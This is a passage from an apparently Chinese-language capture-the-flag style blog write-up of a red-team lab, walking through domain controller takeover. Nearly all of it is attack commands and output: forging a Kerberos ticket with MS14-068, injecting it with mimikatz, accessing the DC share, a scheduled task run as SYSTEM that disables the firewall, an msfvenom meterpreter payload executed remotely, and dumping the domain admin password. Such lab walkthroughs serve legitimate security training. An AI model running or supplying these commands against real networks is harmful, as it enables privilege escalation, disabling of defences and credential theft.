ms14-068.exe提权工具生成伪造的kerberos协议认证证书c:\Users\douser\Desktop>MS14-068.exe -u douser@demo.com -s S-1-5-21-979886063-1111900045-1414766810-1107 -d 192.168.183.130 -p Dotest123 MS14-068.exe -u douser@demo.com -s S-1-5-21-979886063-1111900045-1414766810-1107 -d 192.168.183.130 -p Dotest123 [+] Building AS-REQ for 192.168.183.130... Done! [+] Sending AS-REQ to 192.168.183.130... Done! [+] Receiving AS-REP from 192.168.183.130... Done! [+] Parsing AS-REP from 192.168.183.130... Done! [+] Building TGS-REQ for 192.168.183.130... Done! [+] Sending TGS-REQ to 192.168.183.130... Done! [+] Receiving TGS-REP from 192.168.183.130... Done! [+] Parsing TGS-REP from 192.168.183.130... Done! [+] Creating ccache file 'TGT_douser@demo.com.ccache'... Done!利用
mimikatz（桌面上也有）来导入票据c:\Users\douser\Desktop>mimikatz.exe mimikatz.exe .#####. mimikatz 2.2.0 (x64) #18362 Jan 2 2020 19:21:39 .## ^ ##. "A La Vie, A L'Amour" - (oe.eo) ## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com ) ## \ / ## > http://blog.gentilkiwi.com/mimikatz '## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com ) '#####' > http://pingcastle.com / http://mysmartlogon.com ***/ mimikatz # kerberos::purge Ticket(s) purge for current session is OK mimikatz # kerberos::list mimikatz # kerberos::ptc C:\users\douser\Desktop\TGT_douser@demo.com.ccache Principal : (01) : douser ; @ DEMO.COM Data 0 Start/End/MaxRenew: 2024/12/3 22:17:14 ; 2024/12/4 8:17:14 ; 2024/12/10 22:17:14 Service Name (01) : krbtgt ; DEMO.COM ; @ DEMO.COM Target Name (01) : krbtgt ; DEMO.COM ; @ DEMO.COM Client Name (01) : douser ; @ DEMO.COM Flags 50a00000 : pre_authent ; renewable ; proxiable ; forwardable ; Session Key : 0x00000017 - rc4_hmac_nt d030a0db75eadb9b5f672b49a11721c9 Ticket : 0x00000000 - null ; kvno = 2 [...] * Injecting ticket : OK操作分别是：清空当前票据，查看当前票据，导入票据
查看当前票据
mimikatz # kerberos::list [00000000] - 0x00000017 - rc4_hmac_nt Start/End/MaxRenew: 2024/12/3 22:17:14 ; 2024/12/4 8:17:14 ; 2024/12/10 22:17:14 Server Name : krbtgt/DEMO.COM @ DEMO.COM Client Name : douser @ DEMO.COM Flags 50a00000 : pre_authent ; renewable ; proxiable ; forwardable ;尝试通过IPC连接DC
ps：记得使用主机名，否则默认走
NTLM协议c:\Users\douser\Desktop>dir \\WIN-ENS2VR5TR3N\c$ dir \\WIN-ENS2VR5TR3N\c$ Volume in drive \\WIN-ENS2VR5TR3N\c$ has no label. Volume Serial Number is 702B-0D1B Directory of \\WIN-ENS2VR5TR3N\c$ 2009/07/14 11:20 <DIR> PerfLogs 2020/01/24 13:30 <DIR> Program Files 2020/01/24 13:30 <DIR> Program Files (x86) 2019/12/31 11:01 <DIR> Users 2020/01/24 13:33 <DIR> Windows 0 File(s) 0 bytes 5 Dir(s) 11,366,170,624 bytes free成功访问到域控，也算拿下了
上线DC
win7桌面下还提供呢Psexec64.exec:\Users\douser\Desktop>psexec64 \\WIN-ENS2VR5TR3N.demo.com cmd.exe \ipconfig psexec64 \\WIN-ENS2VR5TR3N.demo.com cmd.exe \ipconfig PsExec v2.2 - Execute processes remotely Copyright (C) 2001-2016 Mark Russinovich Sysinternals - www.sysinternals.com Starting cmd.exe on WIN-ENS2VR5TR3N.demo.com...3N.demo.com...demo.com... cmd.exe exited on WIN-ENS2VR5TR3N.demo.com with error code 0.但是不知道为什么连不上
通过计划任务关闭防火墙
新建
1.bat文件# vim 1.bat netsh advfirewall set allprofiles state off通过
MSF上传到靶机win7meterpreter > upload ~/Desktop/test/1.bat C:/users/douser/Desktop [*] Uploading : /root/Desktop/test/1.bat -> C:/users/douser/Desktop\1.bat [*] Completed : /root/Desktop/test/1.bat -> C:/users/douser/Desktop\1.bat在
shell模式将1.bat传到DCC:\Windows\system32>copy c:\users\douser\desktop\1.bat \\WIN-ENS2VR5TR3N\c$ copy c:\users\douser\desktop\1.bat \\WIN-ENS2VR5TR3N\c$ 1 file(s) copied.创建计划任务关闭防火墙（
ST是时间，也可以调成手动运行）schtasks /create /S WIN-ENS2VR5TR3N /TN "test1" /TR c:/1.bat /SC ONCE /ST 22:49 /ru system /f
通过计划任务上线
DCmsfvenom生成exe马msfvenom -p windows/x64/meterpreter/bind_tcp LHOST=192.168.183.130 LPORT=2345 -f exe > shell.exe用上面的方式上传
exe马到DCKali监听
msf6 exploit(windows/smb/ms17_010_eternalblue) > use exploit/multi/handler msf6 exploit(multi/handler) > set payload windows/x64/meterpreter/bind_tcp msf6 exploit(multi/handler) > set lport 2345 msf6 exploit(multi/handler) > set rhost 192.168.183.130 msf6 exploit(multi/handler) > run通过计划任务执行
shell.exeschtasks /create /S WIN-ENS2VR5TR3N /TN "test1" /TR c:/shell.exe /SC ONCE /ST 23:03 /ru system /f成功上线MSF
msf6 exploit(multi/handler) > run [*] Started bind TCP handler against 192.168.183.130:2345 [*] Sending stage (201798 bytes) to 192.168.183.130 [*] Meterpreter session 1 opened (127.0.0.1:44267 -> 127.0.0.1:1080) at 2024-12-03 23:13:39 +0800 meterpreter >然后通过
mimikatz读取密码
拿到域管理员密码
ATT&CK红队评估实战靶场(四)
https://sunset-blog.top/posts/attck红队评估实战靶场四/